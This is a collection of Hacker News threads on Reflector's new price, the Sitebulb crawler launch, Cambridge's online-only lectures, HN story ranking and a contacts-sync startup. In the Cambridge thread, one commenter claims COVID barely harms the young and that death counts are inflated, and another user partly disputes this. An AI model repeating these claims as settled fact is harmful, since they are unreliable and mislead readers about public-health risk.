.NET Reflector no longer a free tool - An open letter to the .NET community - <AUTHOR> http://www.red-gate.com/products/dotnet-development/reflector/announcement <comment><USER2> It seems like most messages of this type try to pretend that it's not about money. The worst is when a company uses lines like "mutually beneficial" or "we're confident this will be better for our customers." When I read that, I'm not just getting unpleasant news -- I'm getting unpleasant news from someone who thinks I'm stupid.

Redgate's message is candid and addresses me like a grown-up. I think that's much better.

<comment><USER3> A good point and they're making things simpler in the process - here's the product, it's $35 and this is what it does - no more messages, reminders about a pro version and removal of timebombs. Plus future versions will probably get even more serious features because they can justify it commercially with invested time vs income.

You know where you stand.

</comment></comment><comment><USER4> $35 isn't bad, and Reflector is an awesome tool. It'll pay for itself it no time. If it started generating some revenue, they could probably give more time to it and make it even better.

As a developer, you need to maintain your toolset. $35 is small fries. Sure, enterprisey .NET has a slew of expensive profilers, testing frameworks, and everything, but I think the price for Reflector is very reasonable.

Other fields are far more used to paying for their tools. Construction, mechanics, machinists, mechanical/electrical engineer.

<comment><USER5> But Reflector was free for years until Red Gate took it on. And since then, Red Gate haven't done a lot with it to justify the cost: apart from the Visual Studio addin, the basic functionality is the same.

<comment><USER6> The Pro version did add support for debugging which is pretty awesome. The only problem is that you can't add breakpoints into arbitrary points in the IL. You have to be able to access it via the object browser, which requires a public class/method. If they fixed that it would be worth twice its price. Now, I think the technology is great, but not useful for me.

<comment><USER7> I didn't know that. Thanks for the info about the debugging support. I guess I have to give them credit for that.

</comment></comment></comment></comment><comment><USER8> I'll preface this my saying that the last time I touched .NET was about six years ago, but my biggest turnoff with the .NET community was that it seemed like everyone wanted their $5, $10, $50 for _everything_. Libraries and tools that I could get for free with C++ or Ruby or Python seemed to all have price tags associated with them in .NET world. I don't remember the last time I saw the source for an assembly on GitHub et al.

I don't mind paying for _good_ tools (and I would absolutely class Reflector as one), but there seem(s/ed) to be this very top-down mentality in the .NET world that everyone in every step of the chain has to make a buck. Reflector was a shining example of a great free tool in a sea of pay-for dreck, and it's quite sad to see that example die.

It's a bit disappointing, because this mentality seems like it really does a lot to stifle hobbyist exploration of the platform when it's doing cost you $48 in assorted widgets to build the toolset you need to try out an idea.

Edit: I should clarify that I don't think this is a bad thing, and I absolutely feel that Reflector justifies the price tag. The story just sparked some memories of my time in .NET that go a long way towards explaining why I'm not a .NET developer today. My time doing .NET development was in a professional context for my employer, so it's not like I couldn't get the tools due to cost issues, but the massive culture gap left an impression on me.

<comment><USER4> I still don't get why individual developers are so cheap. It is a paradox.

$35 is nothing. I totally believe in supporting a good product with a very reasonable price.

Compare $35 for Reflector to $800 for TypeMock... $200 for Resharper... $300+ for dotTrace.

If you use something daily, <$50 is nothing... even <$100.

<comment><USER9> Comparing the price of each tool _individually_ yes. However, if you add them all up then it really starts to be costly if you want to use most of those tools. You are limited in what you can budget for as an individual developer and are forced to look at the _marginal_ cost of each new purchase as well as the opportunity cost of not buying some other tool unrelated to your purchase.

(Just in your example, we are already at $1335 not including the price of Visual Studio itself since the free express edition does not support add-ins such as ReSharper and other productivity tools)

<comment> mkr-hn I always assumed SharpDevelop supported VS plugins.

</comment></comment></comment></comment><comment><USER10> Hmmmm. A forum ostensibly targeting people who want to be in the business of making money with software up in arms about a company trying to make money with software. Am I allowed to call this ironic?

<comment><USER11> The thing is though, .NET Reflector used to be Freeware, written by a guy in his spare time (incidentally, who is now an architect on Blend). He sold it to Red Gate, who keep trying to monetize it in increasingly intrusive ways (forcing updates, popping dialogs, etc).

While I understand Red Gate's need to make a return on their work, they've gone about it in an unpopular way, trying to force people to pay for an extra feature (debugging through code w/o source) that many people simply don't want.

<comment><USER12> Older versions look like they'll remain freeware; you can't really begrudge Red Gate for charging for future work.

<comment><USER11> No, they won't. Red Gate has timebombed them so they'll stop working in March.

<comment><AUTHOR> AFAIK Reflector's been that way since before Red Gate got it.

<comment><USER13> In previous versions, I was stuck by how terribly Red Gate implemented the "time bomb". You run Reflector one day and an innocuous dialog comes up saying "A new version of Reflector is available. Do you want to upgrade? OK/Cancel" And if you click "Cancel", it exits, _while silently deleting the executable from the disk_.

I can't think of another program that violates user expectation quite so thoroughly.

</comment></comment></comment></comment></comment></comment><comment><USER14> Is there any programmer on the planet who has trouble justifying the ROI of a $35 expenditure for a useful tool? This is a total non-issue.

</comment><comment> space-monkey Reflector is a great tool. They should charge if they can.

</comment><comment><USER15> I'm disappointed. There are many other options for licensing that would bring in revenue without hurting the solo developer or non-commercial developer. It could be free for non-commercial use, or it could be limited to a 3 users within a corporate environment. I believe their revenue will come from companies adding it to their developer tool budget, not from the individual. Let the individual love it at home and then ask for it at work. Every company I've worked at was honest about paying for 'commercial use' or more than X users.

<comment><USER6> I pay $59 for a Roku box I watch at home -- why wouldn't I pay $35 for Reflector?

</comment></comment><comment><USER16> Nice and short interview with Red Gate CEO about this : <http://www.youtube.com/watch?v=TKnEjiSGZLA> which explains commercial reasons and why they thought it was possible to keep it free and why they changed their mind

</comment><comment><USER17> So how long until someone else makes a free, open source version...?

<comment><USER18> (For the benefit of the class: the .NET Reflector decompiles compiled .NET binaries back to cross-referenced source code.)

Not very. Lots of shops have nascent versions of the underlying mechanism in Reflector; for instance, if you need to instrument .NET programs for testing, you have a good chunk of it.

On the other hand, Reflector has a very effective UI, and $35 isn't even a rounding error. There will be more free alternatives to Reflector now, but I for one will probably be happy to shell out a trivial sum of money to keep using the best one.

<comment><USER19> Just wanted to say that this is perhaps the most accurate response to this sort of situation that I've heard in awhile. If it is a good piece of work, why not pay for it? The time it would take to verify a FOSS solution meets your needs already outweighs the $35 perpetual license fee. Not to mention, this thing rocks.

For fun and profit, peek into some Silverlight containers and run Reflector on the DLLs.

<comment><USER20> > If it is a good piece of work, why not pay for it?

I only hope they don't timebomb the paid version like they did the freeware version.

<comment><USER21> The announcement explicitly says it doesn't contain a timebomb.

</comment></comment></comment></comment></comment><comment><USER22> Reflector is a fantastic tool. I have no problem with them charging a very fair price for it.

</comment><comment><USER23> Reflector is a great tool, no denying it, but it's been fairly buggy for me since Red-Gate took it over.

Also, yes, $35 isn't much, provided the license is per-user. If it's per- machine, it would cost most devs a _lot_ more (I'd need at least 5-6 licenses for all my VMs + desktop + laptop). That's a whole different story.

I will say, though, that I have no interest or desire in the debugging or VS integration features; those are useless to me.

</comment><comment><USER24> It always stings to have to pay for something you used to get for free -- basic human nature.

On the other hand, Reflector is either worth $35 or isn't. At a price that low, the decision is pretty binary -- is the tool worth the cost of a decent dining-out dinner or not? If not, live without it.

</comment><comment><USER25> Their web page has a box on it; how quaint. I remember getting software in boxes.

</comment><comment><USER26> Looks like JetBrains is going to release an alternative:

[http://blogs.jetbrains.com/dotnet/2011/02/reflections-on- rec...](http://blogs.jetbrains.com/dotnet/2011/02/reflections-on-recent-news/)

</comment><comment><USER20> I think it's fair to say it was never free. It was only infinitely inexpensive.

BTW, shouldn't the title make the distinction between free software and freeware?

</comment><comment><USER27> Correct me if I'm wrong, but existing versions will continue to be offered and will be free - is that right? I thought Lutz Roeder agreed with Red Gate that RG was free to improve upon Reflector and sell it, but that the original had to be offered for free. Obviously the version upgrade counts as improvements, but the original should still be offered for free.

<comment><USER5> "The free version will continue working until May 30, 2011."

[http://www.red-gate.com/products/dotnet- development/reflecto...](http://www.red-gate.com/products/dotnet- development/reflector/announcement-faq)

</comment></comment><comment><USER28> Yeah. I do not believe free but not open source can live for a long time. If it becomes good - it will require more dedication to work on product. And this could be achieved either by open source community or by charging for product.

</comment><comment><USER29> crap - will be sticking to my free version. Soon they will charge for access to their own software documentation.

<comment><USER30> You can't stick to your free version, I'm afraid. There's a built in expiration date in the latest free version; after April 15th 2011 it will no longer work.

<comment><USER30> (As a side note, it would be interesting to use Reflector to decompile Reflector itself and remove the expiration date or extend it to the far future. I know it's illegal and unethical, but it would be a fun and interesting exercise.)

<comment><USER31> I Reflectored Reflector once and I found that the source was obfuscated. I don't think that would be a trivial task.

<comment><USER32> Most compiled code doesn't have debug info and internal symbols. Yet, changing something like an expiry date is often a trivial task. Obfuscation just means you'll actually have to poke around a bit instead of just searching for "isExpiryDateReached".

<comment><USER33> Reflector was written by a smart guy. IIRC the obfuscation partly consists of assemblies stored as resources in the executable assembly, and loaded dynamically. But no doubt you're right - it could be disentangled.

Better and more ethical to re-write.

</comment></comment></comment></comment></comment></comment><comment><USER34> In my view it is entirely fair game for them to charge for what they own but this is also an instance of why to avoid the .NET ecosystem altogether.

The ethos I follow and many developers whose opinion I care about follow as well is that platform technology and the most fundamental tools must not be closed source.

The irony with Reflector is that while branded a debugging tool it is mainly good for reverse engineering, so Red Gate are now effectively charging for access to third parties' source code, which I personally find a bit troubling.

<comment><USER34> whoever downvoted this to 0: what is wrong with this comment?

</comment></comment><comment><USER33> Yes, yes, $35 is not a lot of money. But the convenience of being able to download Reflector to any machine that you happen to be sitting at will be lost as a result of this.

Looking forward to the Mono Reflector clone...</comment>


Show HN: Sitebulb, a website crawler and auditor for SEOs - <AUTHOR> https://sitebulb.com/launch/ <comment><USER2> This looks really good. My only comment I have is that if I am purchasing a piece of desktop software I expect there to be at least the option of an annual license.

Monthly feels more like a service than a product and I think of desktop software as a product.

But I realize Desktop software pricing is evolving so this may just be old school thinking on my part.

Also, if I'm a Mac user (I am) I expect to be able to buy / pay through the app store. I know it sucks because Apple takes a huge cut but there is a level of trust (misplaced or not) and ease of use that comes with the app store. I am much more likely to use an app if it is in there. Just like on Linux I am much more likely to use an app if it is in a package manager.

Speaking of that, I don't know what desktop framework was used but, is there anything preventing a Linux version?

<comment><USER3> I am personally fine with a monthly fee for desktop software. If I'm paying for software, it's up to the person who sells the software to decide how I should pay, and for me to decide if it's worth it.

<comment><USER4> I am definitively not fine with that. Of course it's up to the person selling the software to decide on the pricing model, but it's also up to the customers to voice their opinion.

I refuse to buy software that is subscription based. The closest to this that I find OK is PHPStorm which has a hybrid model where if you pay for a year you get to keep the version you installed at the beginning of your subscription (or after a year of monthly payments have been made).

I don't expect companies to work on the software for free, if there is an upgrade worth upgrading I am prepared to pay for it.

</comment></comment></comment><comment><AUTHOR> Hey HN, Sitebulb is a desktop crawler for Windows and Mac, specifically designed for SEO consultants/agencies. Me and my business partner have been building it for the last 2 years or so, and we're finally launching it today.

It's main differentiating factors: 1\. Scale – it can comfortably crawl 500,000+ page websites despite being a desktop program. 2\. Reporting – it does a lot of data manipulation and processing so you don't have to. 3\. Visualization – it has tons of useful graphs, including the Crawl Maps, which help you visualise site structure.

Our aim was to give it the reporting capability of a SaaS crawler, with the convenience of a desktop crawler.

Looking forward to hearing your feedback on our new product. Thanks, HN community!

<comment><USER5> Interesting that it's all a desktop app. What problem do you think this solves compared to something that runs in the cloud ? Apart from the cost structure, I can't think of anything myself.

<comment><AUTHOR> The other big thing, in comparison to cloud software, is convenience. You can setup a crawl and start it running -and see URLs being crawled - within a minute.

On cloud software that's simply not possible, due to the way that everything is scheduled.

There are a few other small things, such as being able to view Audits offline (what we call 'train mode').

The cost structure can be a big limiting factor though, especially for smaller companies. Sitebulb effectively remove all limitations around number of domains, number of projects, total number of URLs crawled etc...

<comment><USER2> > On cloud software that's simply not possible, due to the way that everything > is scheduled.

As someone who works in cloud software this makes me cringe a little.

I have no doubt this is how existing cloud SEO crawlers work but with elastic scaling, web sockets, and serverless there is no reason why this has to be true.

It is not a limitation of cloud software. It is a sign of devs and/or product owners deciding making instant results is not a priority for the product.

Edit: I hear that a lot from industries that are not intimately familiar with web apps. "You can't do that on the cloud"... a typical web software engineer will not be able to do it but there are people out there who can. They are more expensive than your typical developer but if depending on your product they are worth it.

<comment><AUTHOR> Sorry, maybe I misread, but I kind of read the comment as 'what separates this from other cloud products on the market?'

So I wasn't trying to argue what is and isn't possible with cloud architecture, simply what is and isn't possible with (our) cloud-based competitors.

The process is along the lines of: 'Click Start', get taken to a screen which says 'Initializing' or similar, then maybe 2-3 minutes later you'll see something start to happen. But there is little to no data on which URLs are actually being crawled.

Sitebulb, and desktop crawlers in general, has a much quicker feedback loop.

<comment><USER2> > Sitebulb, and desktop crawlers in general, has a much quicker feedback loop.

I wasn't denying that. I'm sure it does. I am confident this is way better than most (if not all) current cloud solutions.

I just think it is unfortunate because there is no technical limitation of the cloud that prevents it from being instant on the cloud as well.

The cloud can't handle spikes well (1,000 customers all unexpectedly try to scan at once) but if the load is predictable, linear, or easily done in parallel which I suspect it is for this use case than it is perfectly doable with no delay on the cloud.

<comment><USER6> Deepcrawl does that, but again it entirely depends on the website type and infastructure you have got.

</comment></comment></comment></comment></comment></comment></comment><comment><USER7> We're nobody special. We're not a cool startup that's just secured funding, we're a bootstrapped, 2 man team and we've built both our products from the ground up.

Their honesty bought me! Nice going bros.

<comment><AUTHOR> :) thanks

You might like these as well: [https://sitebulb.com/release- notes/](https://sitebulb.com/release-notes/)

</comment></comment><comment><USER8> Ditto on the sitebulb love. It's a well-done product and a welcome challenger to the status-quo of SEO software out there.

I will say the cost gives me hesitation but you've put a lot of work into it so I understand the justification.

For the visualization, does the crawl map limit the connections? I was expecting to see more of a web with pages linked from the entire site. Can you tell us more about that?

Thanks

<comment><AUTHOR> Price is always a difficult one trying to get the cost/value balance right. We did some pricing sensitivity testing before launch so I'm hopeful we've not got it too wrong.

Regarding Crawl Maps, yeah it does have some limitations on, which I've written about here - [https://sitebulb.com/resources/guides/crawl-maps- faqs/](https://sitebulb.com/resources/guides/crawl-maps-faqs/)

Although from your comment I think you might be thinking it is a link map, rather than a crawl map. So with the Crawl Map it is mapping out how each URL/node was found when the crawler traversed the site. So each node will only ever have one edge/link.

A link map ends up a LOT more messy, although it's on our roadmap to try and build one of these too!

<comment><USER9> "Almost everything looks like a graph. Almost nothing should be drawn as one."

It's _really_ hard to make sense of full link graph visualisations. I'm talking about this in an upcoming conference presentation. We should share notes :)

<comment><AUTHOR> Absolutely. In development we tried different ways to make the Crawl Map also represent link data, and they were all just unintelligible. Even the Crawl Maps on big sites are hard to get your head around, and that's with Sitebulb sampling quite heavily.

I'd love for us to come up with some sort of solution for it, I just don't know how we'd do it!

SL presentation I assume?

<comment><USER9> Yep.

Will be sharing and writing about it too - still a bit of a work-in-progress. Hopefully it all comes together nicely!

I'm leaning towards comparisons between tables of data, metrics etc rather than visualisations for much of this.

</comment></comment></comment></comment></comment><comment><USER10> What's this doing differently or better than screamingfrog? Which is also a desktop program and provides quite robust information. SF has been one of the standard industry tools for those doing SEO for years.

<comment><AUTHOR> The main difference from Screaming Frog (which is legitimately awesome) is the reporting. Once it has finished crawling it will do a lot of pre-processing for you and build graphs, lists of hints, etc...

I've written a more comprehensive answer to this here: [https://sitebulb.com/resources/guides/how-is-sitebulb- differ...](https://sitebulb.com/resources/guides/how-is-sitebulb-different-to- other-crawlers/)

<comment><USER11> I'm testing Sitebulb right now (trial version). The crawling is kinda slow (I'm on 100mbits fiber). Why did you choose to build eveything from scratch instead of making an application that use the results from other crawlers/spiders (ie: Screaming Frog) and just produce the audit reports?

EDIT:

And after about 3hours of crawl, this is what I got (and no way to resume it):

>Audit Stopped! >The audit stopped early because: Maximum Crawl depth limit of 50 reached

>WARNING: Audit Paused ! The audit is incomplete and did not finish properly.

<comment><USER11> I left the program running in the background and it resumed itself after a few minutes. I have no idea why as there was no info on the dashboard.

</comment></comment></comment></comment><comment><USER12> Have been using during the beta programme - really useful tool for doing site audits and focusing quickly on the areas that can make the most difference. Already using on client work and it is now a key tool for me alongside Screaming Frog and others. [https://a.paddle.com/click?said=431&aaid=2812&link_id=380&ch...](https://a.paddle.com/click?said=431&aaid=2812&link_id=380&chk=2e6a9d7972bd21985ee10c473e827d88&redir=aHR0cHM6Ly9zaXRlYnVsYi5jb20v) (my affiliate link)

</comment><comment><AUTHOR> Sorry, I meant to say, there's a free 14 day trial available to anyone once you download the software (no credit card required).

<comment><USER13> I keep trying to sign up, but it prompt me with: " you already have an account...", when in fact I don't.

<comment><AUTHOR> Hey I'd appreciate if you could ping me your email address to firstname.lastname@example.com so we can see what's going wrong with your account (or lack thereof).

</comment></comment></comment><comment><USER14> Hmm, I set it to crawl our little Ghost blog (e.g. blog.example.com) and it immediately jumped to spidering our main site (e.g. www.example.com). Now, I imagine if I had properly poked at the Advanced settings I could have limited it to the initial subdomain, but I would have expected that to be the default...

<comment><AUTHOR> It should stick the subdomain you specify in the start URL, unless there is a redirect or something. Other subdomains won't be crawled, although it will HTTP status check links to subdomains. So possibly that is what you saw in the URL log on the crawl progress page?

If you want me to take a closer look send the subdomain over to firstname.lastname@example.com and I'll see what's going on.

</comment></comment><comment><USER15> Avast free WebShield on Win7 is giving me a FileRepMalware error and is aborting the download and connection.

I am not exactly an expert on Avast and this particular error but perhaps someone here would like to know about this.

<comment><AUTHOR> That's frustrating, sorry. It's a 'reputation issue', that over-protective anti-virus software doles out to smaller software vendors like ourselves. Basically they don't know if it is good or bad because we haven't had millions of installations.

i.e. it's a false positive

<comment><USER15> Sure no worries..of course I personally knew that, but I thought it might be useful for you guys to know its being blocked by the AV.

It's a really nice product BTW...good job.

</comment></comment></comment><comment><USER16> I've been testing Sitebulb for a few months now and I'm really impressed, you've done solid work guys :) good luck with the launch

<comment><AUTHOR> Thank you! And thanks for the beta feedback, it was super helpful.

</comment></comment><comment><USER17> Nice to use and useful insights. Thanks!

</comment><comment><USER18> How does this compare to something like Scrutiny, which seems to do a similar thing?

<comment><AUTHOR> It has a lot more comprehensive reporting and data visualization than the likes of Scrutiny. I have no idea of the scale limitations of Scrutiny, but I'd be very surprised if it can handle ~500,000 URLs.

Also Sitebulb is for both Windows and Mac.

</comment></comment><comment><USER19> why is the windows download 130mb? that seems excessve

<comment><USER20> Yeah and that's compressed :) I'm in the process of getting it down, but there's a few things in there don't help its size. For instance, the latest versions of Electron and Phantom a reasonably big.

</comment></comment><comment><USER21> How does this compete against screaming frog?

<comment><AUTHOR> Answered this one below already. For completeness:

The main difference from Screaming Frog (which is legitimately awesome) is the reporting. Once it has finished crawling it will do a lot of pre-processing for you and build graphs, lists of hints, etc... I've written a more comprehensive answer to this here:

[https://sitebulb.com/resources/guides/how-is-sitebulb- differ...](https://sitebulb.com/resources/guides/how-is-sitebulb-different-to- other-crawlers/)

<comment><USER21> thanks, i'll check it out

</comment></comment></comment><comment><USER22> Linux version?

<comment><AUTHOR> I'm afraid not, at least not yet. It's something we'll work on if the demand appears to be there.

Right now we are focused on other features that appear to be a higher priority to our users.

<comment><USER23> I'd also be interested</comment></comment></comment>


Cambridge University: All lectures to be online-only until summer of 2021 - <AUTHOR> https://www.bbc.co.uk/news/education-52732814 <comment><USER2> If I was a student about to start I'd probably delay for a year on this news.

</comment><comment><USER3> That seems extreme given that in Switzerland almost everything is now reopened. The UK has it worse but mostly because of care homes; for universities there surely no difference given the virus didn't affect the young.

I wonder what Cambridge students think of that. I'd be pretty furious.

<comment><USER4> Students are generally pretty young, but staff and faculty are not.

<comment><USER3> But something like 90% of the deaths are over 65s, so the vulnerable population is retired anyway.

And that's ignoring the whole of/with confusion, so the numbers are certainly much lower than that. E.g. I was told my former nanny died of COVID during this crisis. But she was 95 and had previously had a stroke, so, it's kind of arguable what the final cause really was. It had to be something, at that age.

And anyway, are the staff also going to stop researching completely until 2021? Somehow I am skeptical of this!

<comment><USER5> > But something like 90% of the deaths are over 65s

Eyeballing the CDC numbers, it looks closer to 80% of deaths; also, deaths aren't the only serious adverse impact.

> And that's ignoring the whole of/with confusion

The of/with confusion you describe, to the extent it might really be an issue of significance, would further _reduce_ the share of COVID-19 deaths that come from the over-65 group, since the of/with confusion would be higher in that group than younger groups, as your own description ("it had to be something at that age") implies, further undercutting the point you try to make with your exaggerated description of the concentration of deaths in the over-65 age group.

Also, in any case, its not at all uncommon for people to work past 65, especially in fields that aren't particularly physically arduous; over-65 does not imply retired, even approximately.

<comment><USER3> As nearly all deaths are in the over-65 age bracket, reducing them significantly (to account for of/with confusion) just means it isn't especially dangerous to anyone regardless of age, relative to other risks. It thus doesn't undercut my point - that students may well be rather upset about this given that there are many risks involved for lecturers in just driving to the lecture theatre in the first place, for instance. It's all about relative risks.

Hence the pertinence of the question: do Cambridge academics plan to also stop going into labs and doing research? Or just (in effect) stop teaching.

<comment><USER5> > As nearly all deaths are in the over-65 age bracket

They aren't. ~80% isn't "nearly all".

> reducing them significantly (to account for of/with confusion) just means it > isn't especially dangerous to anyone regardless of age

No, it doesn't. If the deaths in that group were 50% overcounted due to if/with (ignoring that all the serious analysis suggest official death counts are under, not over, counts), and 25% in all other groups, it'd still be dangerous (with 55% of the death count) and much less focussed on the over-65 category (8:3 over/under-65 instead of 4:1)

<comment><USER3> The numbers I've seen are different: more like 90% over and more importantly, something like 80%-90% of cases with confounding co-morbidities (the original Italian figure was something like 12% of people with no co-morbidities).

I mean I think you need to review the data because your argument is just strange. Look at the EuroMOMO data for instance:

[https://www.euromomo.eu/graphs-and-maps/](https://www.euromomo.eu/graphs-and- maps/)

In the 16-64 age group excess death per week went up by a total of about 1000 more excess deaths for _multiple European countries aggregated_ than e.g. the flu season of 2017 or 2018. The total population in these graphs is over 100 million so this is practically meaningless, it's not a sign of any kind of danger. The numbers don't start getting (relatively) big until the 65+ age group, and even then, they're still not big relative to the actual population sizes in question. Only prior flu seasons.

That's excess death. W.R.T. deaths coded as COVID there's also the somewhat newer problem of nonsensical COVID death reports, caused by repeatedly relaxed standards for reporting. At first you needed to have clearly died of the disease. Then anyone who tested positive and died was reported as a COVID death, leading to stories of "COVID deaths" of people with terminal leukemia, alcohol poisoning, etc. That's the of/with issue we're discussing. Then the standards were relaxed again to allow mere suspicion of COVID to be reported as a COVID death. This has been happening around the world, e.g. in France:

[https://covidinfos.net/covid19/deces-dus-au-covid-19-le- nomb...](https://covidinfos.net/covid19/deces-dus-au-covid-19-le-nombre- officiel-de-morts-en-france-est-il-surestime/502/)

"a positive case in a residence immediately transforms all of the people in the residence into "confirmed cases", which will therefore be counted in COVID-19 statistics .... if a resident (or an employee) coughs, all the occupants of the residence become "possible cases", and are counted in COVID-19 statistics."

In the USA it's even worse - hospitals started being paid more money if deaths were coded that way; at a time when they badly need the money.

So the numbers here are really quite meaningless but what we can say, is that neither Cambridge staff nor students are in any great danger from this, unless they are really quite old but by then of course, many different diseases and problems are a danger to them and simply tripping on the steps of the lecture hall could also create a dangerous situation. So they would need to be quite careful even in normal times.</comment></comment></comment></comment></comment></comment></comment>


Ask HN: Does HN bump up local content based on your location? - <AUTHOR>

I've been seeing a lot of front page stories on HN relating to Netherlands / Dutch these days ever since coming to the country. Is that a coincidence or does HN bump up contents that are local to your region? <comment><USER2> No, we don't do that. The Dutch are just interesting.

Maybe also you notice these stories more once you moved there?

<comment><AUTHOR> yes, that's probably it. Thanks for responding.

<comment><USER2> I'm noticing them now too :)

[https://news.ycombinator.com/item?id=9837188](https://news.ycombinator.com/item?id=9837188)</comment></comment></comment>


Show HN: Contacts storage the way it should be done. - <AUTHOR> http://useadd.com

<comment><USER3> Here is my take on it.

For me, it's either use something like Google Contacts, or use something like add. They both have several features:

* Stores your contacts

* Synchronize across multiple devices

* Works on all my mobile devices as well as web (I'm giving add the benefit of the doubt here)

* Respects my privacy (Google has a good reputation here)

* Allows me to export my data

Google contacts has several advantages out of the starting gate:

* They are MUCH more likely to still be here in 5 years

* They're free

So if you want to beat Google contacts, you have to offer something they don't. Here are a few examples:

* Better structures for additional data. Like tracking relationships so I can store an address or some notes for a family or married couple instead of typing it in only one of them.

* Better tools for managing large numbers of contacts.

* Automatic updates to addresses, phone, etc. (Fed from somewhere... where would that be?)

* Automatic linking to external sources. (If it recognizes the name, propose a possible address for my friends, culled from other public or private databases.)

Basically, in order to compete with big, reliable, and free you have to offer something special that the big guy doesn't. There is LOTS of space for innovation in contact storage, and I'm willing to pay $3/month for such a service. And ubiquitous access to that (even integrated into my phone OS) and a way to avoid lock-in (so I can move my data if I want) is the minimal level needed to play. Now you need to take it further before you can attract me as a customer.

<comment><AUTHOR> Agreed completely with most of your points - as I've already mentioned this is just the start and some of the things in the pipeline will easily surpass Google's relatively stagnant option.

However, I don't think Google does respect your privacy [1] [2]. That is a massive issue and is becoming greater over time and is something Add was created to directly counter.

Hopefully we can prove you wrong and still be here in 5 years - I want to build a sustainable and growing business, not a flash in the pan startup looking for a quick sale.

1\. <http://googleblog.blogspot.co.uk/2011/03/update-on-buzz.html> 2\. [http://blog.eset.com/2011/07/07/google-prepares-to-share- you...](http://blog.eset.com/2011/07/07/google-prepares-to-share-your- contacts-with-the-world…-again)

<comment><USER4> I do agree that there might be some privacy concerns over google, but for contacts I actually don't really care.

Lets say I use your service instead of Google, I will protect my contacts from getting into Google's hands (this is only if I don't use gmail/google voice/google plus, which I do so they get my contacts anyways). Now I have protected my contacts, against google. But I have 173 friends/family that also use Gmail. This means that every single one of them probably has my email/phone/address and uploaded it too into Google Contacts. And if I haven't uploaded my contacts, someone else will do it. There is no way of protecting yourself against this sort of social network.

</comment></comment></comment><comment><USER5> This is probably repetitive with some of the other comments, but I'd absolutely be willing to pay $3/mo for a service that will do the following:

1) Most importantly, de-dupe contacts on all devices. Get VERY good at fuzzy matching algorithms, they can't possibly be too hard. I have an iPhone that for no obvious reason to me, has 8 different versions of a single contact, despite having near-exact replicas of the contact's data. I want a 1:1 match of people:contacts. Even a basic flow wherein you say "Here's all the contacts we're merging... uncheck any you think we messed up" would be hugely useful on all devices. But for this, you need to be able to write/delete contacts.. no idea if that's possible in an Apple world. I'm staggered that no one is doing this today (that I know of).

2) Import from all normal places where people store contacts (Facebook, Google, Yahoo, ICQ, Twitter, AOL Messenger, LinkedIn, Myspace, iCloud/Apple, Exchange, Linux datastores, etc... this obviously takes time).

3) Once you've imported, provide re-export / de-duping for all sources (in other words, after you've gone through and classified my contacts, allow me to say "Sync all that information back into Google contacts, Plaxo, etc.").

4) Really ideally, don't store the raw data on your servers, only store it encrypted so that you can't answer government requests. This requirement conflicts with your ability to get raw data to feed those fuzzy algorithms, though, so it'd probably have to get dropped, I'm guessing.

5) If you want to increase your viral coefficient dramatically, start building identity profiles of people based off of publicly-available information on the Net, and offer it to people who already have that person as a contact. Increased stalking capabilities are always popular (if evil).

6) Export not just to services, but to any popular data formats (Sounds like you have CardDav taken care of, but even just raw XML exports, CSV exports, tab-delimited exports, exports of just address data or phone numbers or names, etc.)

7) Allow an option whereby a user can have a personal profile, and when that user's contact info changes, notify anyone connected that their contact info has changed. (Probably not that important until you get to Facebook scale)

8) Allow for groupings, and allow a person to be in multiple groupings (while still understanding that that person is the same person). Start with some basics (Family, Friends, Co-workers), and import say Exchange contacts into Co-workers by default). Also, sync groupings with external services on demand.

There's probably more, but even just solving #1 would be a huge deal.

</comment><comment><USER6> You really need to iterate a bit over the design. It looks like a train wreck on my screen.

<comment><AUTHOR> Useful comments and suggestions more than welcome - email@example.com

<comment><USER6> Just some quick observations. I like the general minimalistic monochrome theme. It's just the execution that lacks.

Logo - The simple wordmark is fine, but you should render it with a bolder font - That thin looking plus looks cheap. Also, the rendering should be antialiased - right now there are some really rough jagged edges in the logo text. Make sure it's evenly positioned (There's more padding under than over it as of now).

The font looks great, but you need a better fallback. You haven't linked the web fonts in properly, because some in places it renders as intended, but in other places it falls back to the browser default, which is a serif-font in most cases. It looks hideous in contrast to the very modern typeface.

The hero-block should have text positioned a bit further down (Same issue as with the logo). Also, consider bolding the first line to add contrast to the subheading.

The buttons in the hero bar have the fonts positioned wrong. This might be down to my system not picking up the same font as you have used. I would suggest to just use plain helvetica for buttons and main text and leave special fonts for headings.

The columns in the main section are too wide on my screen. I would suggest that you set the page in a fixed width grid - it's simpler to control the layout. Also, the gutter is way too big, to the point of having less margin on the sides than gutter between columns, which makes the layout look cut in half.

On the front page, you have two links between columns, that are centered. They look strange like they should have gone together with the left column, but have drifted too far to the right. At least put a horizontal ruler above, to separate from the columns above.

Hope that helps.

Edit: Just noticed. If you resize the page under a certain size, the menu jumps down below the logo, which is fine. But since the text is white and the background is an unrepeated image, it becomes white text on white background. Related - on the shorter pages (Such as contact), the footer ends before the screen does (on a large resolution anyway), which means that the white background comes after the dark red colour. Just set the same dark red colour as body background.

<comment><AUTHOR> Very much so troels, thank you. An unbiased, outside view of the design is critical. Working on it now.

<comment><USER7> Here's[1] a screenshot from Chrome 24.0.1312.52 on Ubuntu 12.10. You can see jagged rendering on the logo and headline, the buttons look a little funny (padding? font?) and the top nav uses an inconsistent font.

[1] <http://i.imgur.com/o0HR9Ke.png>

<comment><USER6> I realised that the logo is rendered with svg. Probably a bad idea - <USER2> render it to PNG with an alpha channel.

</comment></comment></comment></comment></comment></comment><comment><USER8> Raleway Thin is a terrible reading font. Consider using it for large headings only and sticking to Helvetica for paragraphs.

<comment><USER9> I second that. Try it in portrait on an iPad.

</comment></comment><comment><USER10> It sounds cool, but I'm not really sure what it does?

<comment><AUTHOR> Hi Holger,

OK, so Add is a replacement for your contacts syncing and storage (of Gmail/iCloud etc.) for people who care about their privacy and believe that paying for a product means you are the customer, not the user or worse, the product being sold.

Does that make it clearer?

<comment><USER11> First of all I agree with gf - the site does a horrendous job in explaining what it is. Add screenshot, actual content. People aren't looking for "simple", "familiar", etc. We're looking for what problem does this solve me with my contacts.

And oh I've got a few. First is that I contact people in different ways - phone, email, gtalk. I want it all unified in their card (Google does a meh job with this with their "linking" feature, but still misses obvious doubles). Not only that but I want a unified history - not a call log, not a message log. I want to see when I last contacted the person, not how.

Secondly - reminders. People need to be contacted sometimes. I need to call my mom later today, email a future client in a few hours etc. Not only that but as a good son I want to call my mom every day, unless she already called me. This is easy to check and to implement and I have no idea how it not standard. There is an Israeli android app called "Assistive" which kinda helps with this but not really enough. It basically sets reminders for missed calls. This needs to be taken further.

Just these two features will practically revolutionize the way I communicate with people, but I can keep on going on other things I want. You've chosen to do contact syncing which is a nice feature my phone already has for free.

